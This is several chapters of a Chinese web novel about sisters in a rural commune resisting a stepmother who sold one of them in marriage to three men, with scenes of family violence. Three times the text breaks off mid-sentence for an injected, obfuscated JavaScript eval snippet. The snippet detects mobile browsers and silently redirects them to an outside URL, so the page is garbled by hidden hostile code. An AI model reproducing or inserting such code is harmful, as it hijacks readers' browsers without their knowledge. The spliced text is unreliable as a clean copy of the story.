王露劝道:“国珍啊,听我一句劝,抽空回李家一趟吧,你跟建军到底能不能过,总得有个说法,这么耗下去可不是个事儿。” “别提了王阿姨,我一想到我婆婆往我俩中间一睡,我就恶心得连隔夜饭都要吐出来,什么人啊这是。”钱国珍一想到婆家的事,更来气了。 真倒霉,别人都说她婆婆勤俭持家,为人和善,她结婚之前也是这么想的,没想到婆婆背地里居然这么不上道。 王露无奈:“那也不能一直耗着,你耗下去,别人就会惦记你,到时候对你的名声也好,何苦来哉。你要是实在不想凑合,不如离了算了。” “离了我就只能找二婚的了,多亏啊。”钱国珍不乐意,她一个黄花大闺女,不想受这个委屈。 王露只能叹了口气:“那你就这么把你婆婆熬死?” 钱国珍笑了:“王阿姨,你这都猜到啦?你可真厉害。” “你呀。”王露不忍心再说什么,换了是她女儿遇到这种事,她也得上火。 怪只怪宋大娘是个只会窝里横的主,闺女受了气,当妈的连去婆家闹一闹的胆子都没有。 而钱国珍的爹呢?一个老丈人,又不好跟女婿去说闺房里的事,只能这么耗着。 正唏嘘这世上的事果然没有十全十美的,就看到村口的大榕树下面围了一群孩子,正指着树上的什么不断喝彩。 但见一个女同志穿着打补丁的裙子,抱着大树的膀子,正伸长了胳膊够什么东西,一扭头,便丢了个鸡毛毽子下来。 “哦!是我的,是我的,谢谢阿姨!”一个扎着双马尾的小姑娘激动地捡起地上的毽子。 树上的女同志笑着说不客气,扭头又爬到了另一个大树膀子上,抓了个沙包下来。 紧接着,又是什么竹蜻蜓,纸飞机,还有一只变了形的风筝…… 等到东西全部够完了,那女同志便直接从树上跳了下来。 看那高度,不腿折也得崴脚。 吓得王露倒吸一口冷气,右腿往左一收,直接跳下车,扔了刘嫂子的新飞鸽,就想扑上去救人。 可惜她还是晚了一步,那崔六已经平稳地落在了地上,刚站稳,后背就被人撞了上来。 崔六往前冲了几步,堪堪稳住身形,回头一看,原来是王露,她笑着折返:“王阿姨,你没事吧?” 王露揉了揉额头:“没事没事,你吓我一跳,这么高你就不怕摔出个好歹吗?” “没事的王阿姨,我会使巧劲儿,摔不着的。”崔六赶紧扶着她往路边走,俯身捞起地上的自行车,把摔歪的车龙头掰掰正,再把车身的灰土吹吹干净,这才招呼道,“走吧王阿姨,路上说。” 王露上了车,问道:“你不是要找国珍说事吗?” “嗯。”崔六想节省点时间,直接问道,“国珍姐,你跟建军哥还想过下去吗?” “想有什么用,我就没见过他妈妈那样的婆婆。”钱国珍跟崔六不熟,可她不傻,看得出来王露是跟崔六一起来,便客气道,“翠柳啊,我记得你挺不爱说话的,怎么忽然关心起我的事情了?” “还人情啊。”崔六笑着解释道,“王霞阿姨帮我们姐妹解决了分户的事情,所以我想帮她解决一点妇女工作上的难题。国珍姐,你只要真心想过,这事我就能给你摆平了。你放心好了,我一定让你婆婆跟你男人过来,亲自请你回去。回去之后,你婆婆肯定也不会再闹了。” “哦?难道你有什么妙招吗?”钱国珍是真心不想离婚,一时来了兴趣。 崔六卖了个关子:“总之,你等我消息就行了。” “那你需要多久啊?”钱国珍有点心动,甚至有点着急,毕竟这事丢人,村里和队上都有人对她指指点点。 崔六笑着回头:“时间上我不做保证,我还没去找建军哥呢,听说他跟着巡堤小队出去了,你别急。” “好,辛苦你了翠柳。”钱国珍也不想为难人家,还是耐着性子等等吧,反正被人笑话了不止一天两天了。 崔六把王露送到桑田那里,便去江边找了李建军。 李建军是民兵,经过社员选举,成为了巡堤小队的一员。 他们平时也要参与农耕,比普通的农民多了一个巡视和维护江堤的工作,所以他们虽然也要挣工分,交公粮,但是他们会有公社额外补贴的一笔收入:一个月二十斤原粮,三两菜籽油,三张五两的猪肉票,外加十五块钱的工资。 这算是农村人里面档次很高的生活标准了。 家里成员结构又很简单,所以当初媒婆说媒,是真的盼着人家两口子好的。 只是没想到…… 崔六快步上前,找到正在指挥民兵加固堤坝的李建军:“建军哥,我有事跟你说。” 李建军抓起毛巾擦了把汗,越过一个盖着油布的人形障碍物,往她这边快走了几步:“翠柳?你怎么来了?你知道我们挖出骸骨的事了?” “骸骨?”崔六低头看了眼他身后的人形障碍物,“你说这个?” “对,你不知道?”李建军有点意外,“我以为你……总之,确实是个女人,我已经叫人通知朱玉民了,回头送到县里进一步调查。” 崔六胆子大,干脆上前一步,想掀开油布看看。 却叫李建军一把摁住:“翠柳,你别这样,应该不是你妈妈,身高好像对不上。” 崔六还是坚持,掀开后看了眼,确实,原身的妈妈个头在一米六左右,这具骸骨大概只有一米五左右。 不过……听说卫生所那边也有个助产士失踪了,已经好几年了,难道是她? 总之,等消息吧。 她直接说明来意:“我遇着国珍姐了,队里的村里的人都在笑话她,她哭得可伤心了。建军哥,我也是女人,我知道国珍姐的心情,我就想问你一句,你还想跟她过不?你是不知道,那许开山已经惦记上国珍姐了,还想把她说给他那个不学无术的儿子呢。” 李建军一听,急了:“那怎么行呢?国珍是我明媒正娶的老婆!” 崔六放心了,两口子都想过,这事就好办。 于是她问道:“那你介意我去做做田阿姨的工作吗?” “当然不介意了,我真是求之不得!”李建军也很为难,“不过你也知道,我妈拉扯我这么大,很不容易,所以有些话我不想说了伤她的心。等下你去找她,措辞也温柔一点,她要面子。” “这个我知道,不过你也要跟我保证,以后再有新婚夜的事情,你可一定要当机立断,拉着国珍姐去别的房间,你把门一锁不就行了?”崔六也是无奈,农村里没有秘密,夫妻间的这点事,一吵全公社都知道了,她自己都觉得难以启齿。 李建军脸上火辣辣的:“你说得对,我确实优柔寡断了。其实我妈以前不这样的,也不知道那天晚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17501376|202754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上怎么突然这么奇怪。” “她是害怕失去你,今后你要用心照顾她和国珍姐的情绪,两个都不能亏待了。” “嗯,我尽力。” “那我去了。” “谢谢啊翠柳,对了,你没事吧?这几天队里广播都在找你。” “我没事,好着呢,你忙吧。”崔六挥挥手,赶紧找田秀芬去了。 老人家一个人拉扯大儿子,确实不容易,那后背都佝偻了。 要说她有什么坏心眼吗?未必。 可她对钱国珍的伤害是实打实的。 可如果上去就去指责她,反倒是激化矛盾,所以崔六只想疏,不想堵。 她笑着敲门:“田阿姨,我有点事想找你帮忙。” 田秀芬是出了名的热心肠,立马丢下手里的韭菜,抬头道:“是翠柳啊,又被人请来画柜子了?” 崔六站在门口,看了看日头,估摸着卫生所还没有关门,问道:“没有,田阿姨,你有空吗?” “有的有的。”田秀芬在围裙上擦了擦手,解开围裙直接出来了,“是要我帮忙搬柜子?” “都不是,田阿姨,你能跟我去趟卫生所吗?”崔六准备直击要害,农村人结婚图什么?不就图个生儿育女,搭伙过日子。 那老一辈的盼望小一辈结婚图什么? 不就图家里添丁进口,早点抱孙子抱孙女吗? 崔六不玩虚的,在田秀芬应允之后,便带她去了卫生所的产科病房。 到那一看,不是大腹便便的待产孕妇,就是产妇家属正抱着稚嫩的新生命。 嘈杂的医院走廊里,有哭声,有笑声,其中最抓耳朵的,还是那小生命嘹亮的啼哭声,穿透产房闭合的大门,直击人心。 崔六握住田秀芬的手:“田阿姨,你想不想当奶奶?” 田秀芬的眼泪唰的一下汹涌而出,她一个字都说不出来,只管别过头去,默默地委屈。 崔六安慰道:“你不要觉得自己相依为命的儿子被人抢走了,你应该想,你们母子相依为命这么多年,家里终于多了一个人了。国珍姐也是你们的家人,以后还会给你们带来更多的家人。” 田秀芬想说点什么,可她真的担心她那儿子,有了媳妇就忘了娘。 见她还是不肯松口,崔六直接上狠的:“田阿姨,你是不知道,今天我可是从许队长家里把国珍姐找出来的,他家里正好有个刚离婚的儿子,你也不想建军哥刚结婚就离婚吧?到时候白白便宜了许队长家的——” 话还没说完,田秀芬就急了,赶紧拉着崔六往外走,要想办法请儿媳妇回来。 当天晚上,母子俩就去了毓秀村,找钱国珍道歉去了。 等到这三口之家骑着车有说有笑的从王露家门口路过,王露赶紧叫住他们问了一声。 嘿,没想到这事真叫翠柳办成了? 王露忽然有点感慨,这姑娘,可真行啊。 能文能武的,还能做和事佬,真适合跟着泽林去部队生活,而且她这性子,泽林一定喜欢! 到时候换两身新衣服,一定比现在更俊更水灵! 可惜了,泽林他…… 哎! * 崔六结算了第一个吃瓜红包,得了不少好东西,其中瓜币的奖励就有三千,足够买两个帐篷了。 她跟姐姐们回了家,准备明天再去找宋大娘打听房子跟侯晶的事情,顺利的话,过两天就可以收拾队上批给的那块地了。 可别说,家里少了许春燕跟闵青松两个人,气氛还挺诡异的。 姐妹四个正做着自己的晚饭,老六老七进来了,气势汹汹的,来者不善。 尤其是闵蓝芙,见崔六正蹲在那里剥蒜,抬腿就踩了上来。 崔六不惯着她,直接握住她的脚脖子,一拉,一拽,一掀! 尖叫声响起,闵蓝芙摔了个四仰八叉,花容失色。 三个姐姐都看傻了!!! 她们家这个总被老六欺负的翠柳,居然变成女战士了? 15. 恶毒 闵蓝芙挑衅不成,反倒是被崔六掀了个四脚朝天,裙子也刮在凳子上,被冒出来的毛刺呲啦一下撕破了。 她躺在地上,半天没有反应过来,只管在那里鬼叫,她穿的裙子可是县里国营商场的时兴款式,就这样被弄破了,她要崔六赔钱! 崔六直接抄起水缸里的水瓢,准备给她点颜色看看。 闵蓝芙怕了,赶紧闭嘴,挣扎着起身。 老七闵紫蓉一向不爱掺和姐妹几个的争端,可是今天,她眼睁睁看到六姐被四姐打了,好好的裙子还烂了,真过分! 她不能坐视不理! 立马转身去了院子里,抄起墙边靠着的扁担,杀回了厨房。 崔六淡定地蹲在地上剥大蒜,头都没抬:“老七,你上县中的名额是怎么来的你心里有数,你想被退学的话,只管打,我绝对不还手。” 闵紫蓉犹豫了,没错,她的名额是她爸妈贿赂公社文教办公室的负责人换来的。 当时其实有几个人比她更符合要求,硬是被她给抢了…… 她是个识时务的人,立马丢了扁担,扶起地上的六姐,转身出去了。 闵蓝芙很生气:“蓉蓉你怕什么?咱爸说了,咱妈后天就能回来了!到时候让咱妈还把她送给又老又丑又带孩子还喜欢打老婆的男人,看她怎么办!” 闵紫蓉蹙眉:“六姐,别说了,你也不想把事情闹大了,被卫校开除吧?” 闵蓝芙瞬间哑火,没错,这种逼嫁的事情,他们的妈做了都要被抓,要是她们跟着掺和,这学就上不下去了。 可是就这么白白被老四掀个大跟头?还弄坏了她的裙子?她咽不下这口气啊。 只得转身放了狠话:“实话告诉你吧,我去县里看过妈了,妈说了,她不止收了陈会计的彩礼,还收了另外两家的。你可别得意太早,等我妈一回来,翠柳你就得去嫁人了。不过没关系,老男人会疼人,我等着喝你的喜酒呢,不用谢!” 过了嘴瘾,闵蓝芙的心里终于爽了一把,她得意洋洋地离开了厨房,却不料,被崔六追上来,一把薅住她的麻花辫,抬腿一脚踹在了她的腿弯子上,直接逼着她跪在了那里。 还三下五除二,摘了她的手表,转身交给了三姐闵金菊,村小老师更需要手表!何况这几个吸血鬼的物质享受,都是她们姐妹四个提供的! 拿走手表,天经地义!等下她还要召集姐姐们一起搜家里的存款呢! 崔六不客气地质问道:“说!另外两家是谁?看上的是我们姐妹四个的哪一个?你妈收了多少钱!钱给谁了?” 闵蓝芙的后脑勺火辣辣的痛,膝盖也好不到哪儿去,一时只管斯哈斯哈的骂娘。 闵紫蓉见状很想帮帮自己的姐姐,却见闵金菊抄起烧得通红的烧火棍,二话不说冲了过来,有样学样,抢走了闵紫蓉的手表,交给了崔六。 崔六没要,反手递给了形影不离的大姐和二姐,随便她们两个怎么分配。 一回头,闵金菊还要掏老七的帆布包,吓得闵紫蓉尖叫一声,溜之大吉。 “果然是色厉内荏的草包,一个烧火棍就现原型了!”闵金菊不客气地骂了一句,扭头继续忙去了。 崔六则依旧拽着闵蓝芙的辫子:“你说不说?不说我就拿菜刀把你这一头狗毛全剁了!” 闵蓝芙吓得面如菜色,她是长圆脸,剪短发很不好看,而且她刚谈了恋爱,男朋友最喜欢她这一头秀发了,她才不要被人乱剪头发呢。 一时着急,很想挣脱崔六的钳制,来个漂亮的反杀。 奈何,她一动,崔六便踩住了她的脚,再动,崔六便去掐她的胳膊和肩膀,痛得闵蓝芙鬼哭狼嚎的,只得妥协:“别掐了别掐了,我说!” “快点!”崔六一点情面不留,把手停在闵蓝芙的脸颊旁边,指甲扣成尖锥,大有一副不说实话就要给闵蓝芙毁容的架势。 闵蓝芙哭着坦白道:“一个是缫丝厂的丁厂长,他家有三个孩子,所以要求不高,只要能照顾他的三个孩子,孝顺父母就行。他也看上了你,因为你胆小好欺负,他给了两百块彩礼,我妈塞给我舅舅了。还有一个是供销社叶主任,他家虽然只有一个女儿,可是他已经死了三个老婆了,他女儿的脾气又很坏,一般人根本受不了,所以他也看上你了,他以为你脾气好,好拿捏。他知道他的条件差了点,彩礼给了三百。这钱被我妈拿了一百给外公外婆,剩下两百她自己藏起来了。” “什么?”三个姐姐异口同声,谁都不敢相信,许春燕居然一女三卖,一共收了一千块的彩礼钱。 这哪里是嫁女儿,分明是卖女儿啊。 三个姐姐全都急了,饭也顾不得做了,敞开锅盖,灭了火,全都围拢过来。 闵金菊最沉不住气,问道:“你妈怎么这么歹毒呢?一个翠柳许了三个男人?她当我妹妹是什么?她的摇钱树吗?” 闵橙萱拽了拽准备开口的闵红梅,金口难开的她,难得的主动开了次口:“说吧,你妈既然把翠柳先送到了许会计那里,那么接下来呢?丁厂长跟叶主任要人的话,她准备怎么办?” “是啊,她准备怎么办!”闵红梅憋不住了,还是大声质问了起来。 闵蓝芙看着四个姐姐齐心协力对付她一个,自己的妹妹却跑开了,让她独自面对诘难,忍不住哇的一声哭了。 崔六见她不回答,不禁冷笑:“不敢说?你妈是不是准备从我的三个姐姐里面挑两个,下药送过去应付了事?” 闵蓝芙猛地回头,那眼中写满了不可思议,这个四姐到底怎么回事? 她不是最好欺负,最逆来顺受的吗?今天居然…… 正纳闷呢,只听后脑勺那里唰唰两声,紧绷的头皮也随之一松,两条辫子就这么没啦。 不等她反应过来,凌乱的头发再次被人攥在了手心,头皮再次绷紧,脖子控制不住的后仰。 她只能鬼叫着咒骂起来:“翠柳你个贱人,你割我辫子,我要杀了你,我要杀了你!” 崔六丢了菜刀,还没动手,闵金菊就上前一步,来了个物理闭嘴。 啪啪啪的,那耳光格外响亮,格外清脆。 以至于闵紫蓉从外面喊了闵铁牛回来时,刚到门口路上,就听到了这惊心动魄的掌掴声。 “不好,爸,快点。”她意识到不妙,拽着闵铁牛赶紧进了院子,一看…… 她六姐披头散发的,嘴角都被扇肿流血了,嘴里呜呜哇哇的不知道在说什么,看起来真是可怜极了。 闵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17501377|202754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 紫蓉赶紧催促道:“爸,你快救救六姐啊。” 闵铁牛一向偏心,自然是要救他的心肝肉的,立马迈着沉重的步伐上前,每一步,那长长的靴子都在晃悠,里面不光有水,还有他刚刚偷来的鱼。 他在厨房门口站定,呵斥道:“老三!反了天了你,有你这么欺负妹妹的吗?赶紧给我滚,你们四个都给我滚!” “好啊,闵队长,那你就等着我们四个露宿街头的新闻在全公社传开吧,你这队长也别想当了!”崔六立马转身,“不过我们的饭还没做完,吃完再走,你要是连这半个小时都忍不了,那就麻烦你先把你靴子里偷的鱼倒出来,我们去找廖书记,好好说道说道。” 闵铁牛被拿捏住了,赶紧摆摆手:“蓉蓉你快去把你六姐扶起来,这四个魔鬼我惹不起,我们去你舅舅家躲一晚。” “我同意她走了吗?”崔六立马搡开了闵紫蓉,她上前两步,抬起下巴,满是鄙夷:“闵铁牛,你的宝贝六女儿刚刚告诉我,你的好老婆许春燕,一口气把我卖了三个人家。这事你会不知道?” 闵铁牛明显愣住了:“什么三个人家?没有的事,你不要胡说八道!” “我胡说八道?你问她!”崔六一个转身,再次揪住了闵蓝芙的头发,对付这种乱骂人的东西,让她疼到没力气发火就对了。 闵蓝芙斯哈斯哈的,只能求饶:“我不都跟你说了吗,你自己跟爸爸说好了。” “我说没用,你说!”崔六明白,闵蓝芙这个刁蛮的东西,只能用更加刁蛮的方式对付,于是崔六转身道,“三姐,她不说,去衣柜那里绞了她新买的那两条裙子!” 闵金菊立马转身,吓得闵蓝芙赶紧坦白。 她把刚刚说的话又说了一遍,末了还主动补充道:“妈说了,反正许会计喜欢打老婆,万一四姐跑回来呢,就把四姐送给丁厂长或者叶主任。要是四姐不跑呢,就把大姐和二姐嫁过去,反正大姐最听话了,二姐又是个跟屁虫,总是黏着大姐。” 果然,许春燕的后续计划跟崔六猜测的差不多,只是她万万没想到,许春燕居然还指望她会自己跑回来,一女多嫁。 真是无耻得令人发指! 她冷笑着松开了闵蓝芙的头发,一把扯住了闵蓝芙的膀子:“三姐,你继续守着她的衣柜,我现在就带她去见王霞主任,我倒要看看,是谁要捞许春燕出来,又是谁,在背后继续干那些买卖妇女的勾当!” 这下完了,闵铁牛急了。 他完全不知道,老六这个蠢货,心里一点事都藏不住,居然把她妈妈要回来的事情也给抖出来了。 急得他,赶紧拦着崔六,哀求道:“翠柳啊,没这回事!是别人问我铁牛啊,春燕儿什么时候回来啊,我面子上挂不住,信口胡诌的。你也不想想,我就是一个中队长,能有什么本事捞你们妈妈出来,你别听阿芙胡说。” 崔六不信,闵蓝芙一定是收到了确切的消息,不然这泼皮不可能这么嚣张,大人还没回来,就敢二对四来挑衅她们。 她冷笑着看向闵铁牛的靴子:“你当我傻?你要么乖乖让出一条路,让我去找妇女主任反映情况,要么我就把事情闹大,让全公社知道你偷鱼,到时候丢了中队长的肥差,可别怪我没有提醒你!” 16. 提亲1 闵铁牛不傻,比起老婆和女儿的前途,当然还是他的生产队长更重要。 他只得妥协:“翠柳,你先等等行不行?爸爸知道你这些年受委屈了,爸爸也答应过你姐姐,绝对不会把你嫁给许会计,你要是不信,我可以立字据,只要你冷静一点,听——” “没什么好听的,没有许会计,还有丁厂长,没有丁厂长,还有叶主任。你们这对龌龊的夫妻,把我当成什么了?”崔六早就没耐心了,薅着闵蓝芙凌乱不齐的头发就往院子外面走。 闵铁牛急死了,想追,却被闵金橙萱挡住了去路,只好再次让步:“翠柳!爸爸跟你保证,一定把这三家的彩礼钱全部退还!爸爸说到做到,绝不抵赖,我现在就给你写保证书!” 崔六站在门口,冷笑回眸:“保证书有用的话,后村的杨桂芳就不会被她男人打死了。你少来这一套!二姐,把人看好了!三姐,老七要是敢乱来,你就连她的衣服一起绞了,包括她的相册,还有她藏在柜子最上面的那双皮鞋!大姐,你别心软就好!” “快去吧翠柳,家里交给我们了!”闵金菊非常豪迈的一挥手,叫闵红梅拦着老七,自己则转身翻箱倒柜去了。 崔六瞧着姐姐们人多,闵铁牛又碍着中队长的身份,不敢把事情闹大,她不在应该没什么问题,便一路撵着闵蓝芙往公社家属院赶去。 骑车半个多小时的路程,步行需要一个多小时,可是没办法,比起闵蓝芙半路跳车,崔六宁可辛苦一点。 走到夜里七点多,可算是赶到了公社家属院,家属院跟办公的大院一前一后紧挨着,都是凹字型的布局,院门夜里九点之后才关,方便生产队那边有事来找。 这会儿就有几个妇女在找王霞哭诉,要么是被男人家暴,想离婚又不知道离了之后何去何从的;要么是被婆婆欺负,有苦无处诉的;要么是离婚了,带了个孩子,婆家不要娘家不收,只能来找王霞帮忙。 崔六不禁感慨,农村妇女的日子实在是太难了。 看着一个个以泪洗面的妇女,崔六忍不住物伤其类,可她现在自身难保,也做不了什么,只能做个安静的听众。 等了半个多小时,王霞劝走了三个妇女,还剩两个依旧在那边抽泣,王霞只好先处理崔六的事情。 她招呼崔六坐:“翠柳啊,你来得正好,钱国珍刚刚过来跟我夸过你呢。” “王主任,我也没做什么,只是碰巧许队长动了歪心思,那苗阿姨又受不得激将法。”崔六说的倒是实话,许开山算是半个助攻吧,她拽着闵蓝芙上前,“王主任,我这次来是找你求救的。” “求救?”王霞看着衣冠不整头发凌乱,嘴角又肿胀发紫的闵蓝芙,怀疑这句话用错了对象,忍不住提醒道,“这是你妹妹吧?你打的?” 崔六爽快地认了:“对,我打的,头发也是我绞的,王主任,你先别急,你听听她说什么。” 闵蓝芙不想开口,可又架不住崔六再次扯她的头发,只好一把鼻涕一把泪的,把她在家里说过的话再说一遍。 王霞直接傻眼:“什么?一女三卖?这个许春燕,太不是东西了!” “王主任,不止呢,她还说许春燕就要出来了。到时候还要下药把我的几个姐姐送给这几个老男人。”崔六一想到许春燕那张嘴脸就作呕,忍不住手上用力,“老六,你自己说,是不是这样?” “啊!!!你轻点儿!我说还不行吗?”闵蓝芙怀疑自己的头发要被薅光了,只好坦白。 王霞听完,脸色彻底黑了:“你别急翠柳,这事我找小朱公安问问,也许是误会。你妹妹到底还小,听风就是雨的,做不得数的。” 崔六不傻,听得出来王霞在忌惮县里的力量。 看来这次又要踢到铁板了,可是王霞确实帮过她,她不好对王霞甩脸色,只好问王霞要个保证:“王主任,真到了万不得已,希望你帮我介绍个工作,我不要待在乡下了,我可以到宣传小组做事,每个生产队的大字报和宣传稿我都可以负责。” “放心吧翠柳,我有数。”王霞能做的其实不多,妇女主任,也就是管管妇女工作,公安系统是使不上劲儿的,她只能承诺崔六,“我不会眼睁睁看你受委屈的。” 崔六见好就收,拽着闵蓝芙离开。 人刚走,王露来了,一进门就问王霞:“我刚看到前面路口有两个女同志,有个背影好像是翠柳?” 王霞叹了口气:“姐,坐,是这样的……” 那两个哭泣的妇女还是有眼力见儿的,看到人家姐妹要说悄悄话,便起身离开了。 王霞起身把门关上,等她把来龙去脉说清楚,王露急得一拍桌子站了起来:“那个许春燕到底有什么能耐?板上钉钉的买卖妇女案,这都能出来?” “我估计是找了肖家的那位,见钱眼开的主,什么事做不出来?”王霞虽然人在公社,可是县城里的门道她还是清楚的,她默默叹了口气,“怎么办呢,也不知道分户能不能真的帮到她们姐妹四个。” “可惜了,但凡泽林不是那样,我都能找翠柳说道说道。”王露唉声叹气。 王霞却计上心来:“姐,你什么意思?看上翠柳了?” “看上是看上了,可泽林要是醒不来呢?我不能害了人家姑娘。”王露真是痛心疾首。 王霞却笑了:“姐,这不正好啊,那许春燕就想害她!” “你的意思是?”王露好像意识到了什么,一拍脑门,“哎呀,我懂了。可是……泽林要是在那躺一辈子……” “那怎么了?先把翠柳从许春燕那边救出来再说嘛。要是隔了三五年的人还不醒,你就把翠柳当成闺女,找个好人家嫁了。人家知道她头婚嫁的是个植物人,肯定还觉得自己占了便宜呢。”王霞的盘算不是没有道理,“再说了,只要你到时候认她做了闺女,有你和姐夫撑腰,就算二婚了,也没人敢欺负她。至于泽林,反正醒不来,头婚二婚三婚四婚,又有什么区别?” 那倒也是。 王露有点心动,只是担心:“听说翠柳撞了脑子之后转了性子了,万一她倔驴一个不肯答应呢?” “放心吧姐,她不是傻子,许会计,丁厂长,叶主任,还有咱家泽林,四选一,傻子都知道选哪个。何况姐夫还是管粮站的,你家的条件不差啊。”王霞很有把握,“你就照我说的做。总之,那许春燕出来了肯定还要为难她们姐妹,到时候翠柳进了你家的门,她那三个姐姐自然也就有了靠山。那几个姑娘都是实心眼的好姑娘,你庇护了她们,她们以后会报答你的。再说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17501378|202754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,这叫行善积德,说不定老天一看,哎呦,这家婆婆人真好,赶紧让她儿子醒过来吧,是吧姐?” 王露彻底心动了,可不是嘛! 翠柳那孩子又对她的脾气,她可太愿意了。 当下便跟王霞商量好了计策,等着许春燕出来。 * 崔六回到家里,跟姐姐们一起把老六捆起来扔在了东房跟老七绑在一起,回到西房,她得到了三个消息。 第一,闵铁牛想打二姐,可惜他靴子里的鱼和水拖了后腿,二姐一躲,就叫他摔了个狗啃泥,好像伤到了腰,也有可能是装的。 第二,三姐从柜子里搜到了好多毛票,有的是老六老七藏的,有的是许春燕藏的,最后老七急了,死命拦在一个柜子后面的墙壁上不肯离开,叫三姐咬住了胳膊硬给拽开了,拽开一看,墙上有块砖头是松的,里面藏着一盒子,装着许春燕藏起来的两百块钱彩礼钱。 第三,三姐还搜出了一箱子信件,还没等她打开,信件就被闵铁牛冲进来抢走了,靴子和鱼都不要了,就那么蹬在了院子里,二姐一路追到了许家,挨了一顿打,刚回来。 头上受了伤,腿也瘸了,她吐了口血沫沫:“我尽力了,打不过许家的人,还放狗要我,箱子被他们保护起来了。” 崔六赶紧扶着她去洗漱,清理伤口:“二姐,你听我说,东西藏在许家是好事啊,那许开山有个游手好闲的儿子,咱们慢慢想办法,哄他把东西交出来。” “我也是这么想的。”闵橙萱擦了擦嘴角,“只是担心里面会不会有东西被他们销毁了。” “真销毁了也没办法。”崔六安慰道,“别急,许春燕也是二婚的,跟前夫还有孩子,许家那边跟咱爸绝对不可能一条心,肯定要防一手。而且我听说,咱爸好像跟侯晶有一腿,如果许家也知道的话,肯定会特地留下点他的把柄。” “侯晶?”三个姐姐异口同声。 崔六比了个嘘的动作:“你们都知道?” “不知道。”姐姐们摇头,但她们认识这个女人,有段时间跟她们老子一起在鱼塘做事的。 崔六点点头:“我不记得了,可能那会儿我还小。你们别急,宋大娘好像清楚内情,回头我去问问。” 闵橙萱不纠结了,洗了澡,由着姐姐妹妹们把她团团围住,上药的上药,梳头的梳头。 收拾完,姐妹四个一起数钱,一共三百多,起码可以还清叶主任的彩礼钱,剩下丁厂长和许会计的,等许春燕回来再说。 半夜一点,闵铁牛可算是回来了,看到被捆起来的两个女儿,只得哑巴吃黄连,让她们消停点,等许春燕回来想想办法,尽快赶她们四个走。 第二天,崔六去找宋大娘打听房子和侯晶的事情,刚到门口,就看到钱国珍挽着李建军的胳膊,一副小鸟依人的样子。 呦,看来昨晚田秀芬没有捣乱,两口子终于成了! 既然这样,宋大娘应该愿意帮忙了! 果然,今天宋大娘格外热情,寒暄过后,崔六便问起了侯家后面的房子。 宋大娘小声道:“要不还是算了,侯晶经常走后门出来偷人,要是叫你碰上了,容易惹麻烦。” 崔六却来了兴趣:“偷人?她男人不管吗?” 17. 提亲2 这世上有一类人叫乌龟王八蛋。 侯晶的男人就是这种人,也不知道他是不是哪里有缺陷,总之,这些年不管侯晶怎么偷人,他都不闻不问。 日子照过,上工照上,老丈人家叫他过去帮忙挑个粪啊,砌个墙啊,他也都积极卖力,很是热情。 所以村里人也不好把人家两口子的八卦拿出来公开议论,一旦男人面子上挂不住,闹离婚,到时候就成了他们的罪过了。 宋大娘也是这样随大流的,所以她小声提醒道:“翠柳啊,你还是换一家吧,你们姐妹几个都是没嫁人的大姑娘,见着那些污糟事儿不好。” 崔六不想表现得太过油盐不进,便委婉道:“行,我会好好考虑的,我还要看看两家的房子哪个更好,夏天雨水多,我不想让姐姐们住不踏实。” “呦,那就只能选侯晶家后面的这个了,另外一家漏雨严重,椽子都烂了好几根,一直说要换,没换。”宋大娘无奈,但她还是提醒道,“你可千万记住,不管住哪儿,不要多事。” 崔六明白,很是感激:“谢谢宋大娘,回头我叫我爸过来谈一下租金,他毕竟是中队长,比我们姐妹几个好说话。” 一提闵铁牛,宋大娘赶紧摆手:“不能啊翠柳,千万不能。”她把门打开,看了眼外面,见没有人在附近晃悠,这才把门关上,拉着崔六去了厨房,小声道,“你爸前些年跟侯晶还弄出来一个孩子呢,你不知道?” “孩子?什么孩子?”崔六目瞪口呆,闵铁牛也不是很帅啊,这么风流的吗? 宋大娘小声道:“他俩不是有一阵子都在鱼塘里做事吗?就……七个月的男胎,叫许春燕给一脚踹没了。这事你们居然不知道?” 崔六摇了摇头:“姐姐们没跟我提过。” “也对,许春燕怕你们笑话她,肯定是要捂着的。”宋大娘很快想明白了,提醒道,“那你回去千万不要吱声啊,小心被那女人欺负。我们都不是瞎子,一年到头就没见你们四个身上有什么好衣服,那三个倒是天天光鲜亮丽的,许春燕哪来这么多钱?还不是克扣了你们的工资?哎,要么说没妈的孩子可怜呢。翠柳啊,以后你结婚,可千万要慎重啊,要擦亮眼睛,保护好自己,千万不要为了男人寻死觅活,害了自己的孩子。” “寻死觅活?不会的宋大娘,我没那么傻。”崔六赶紧安慰她。 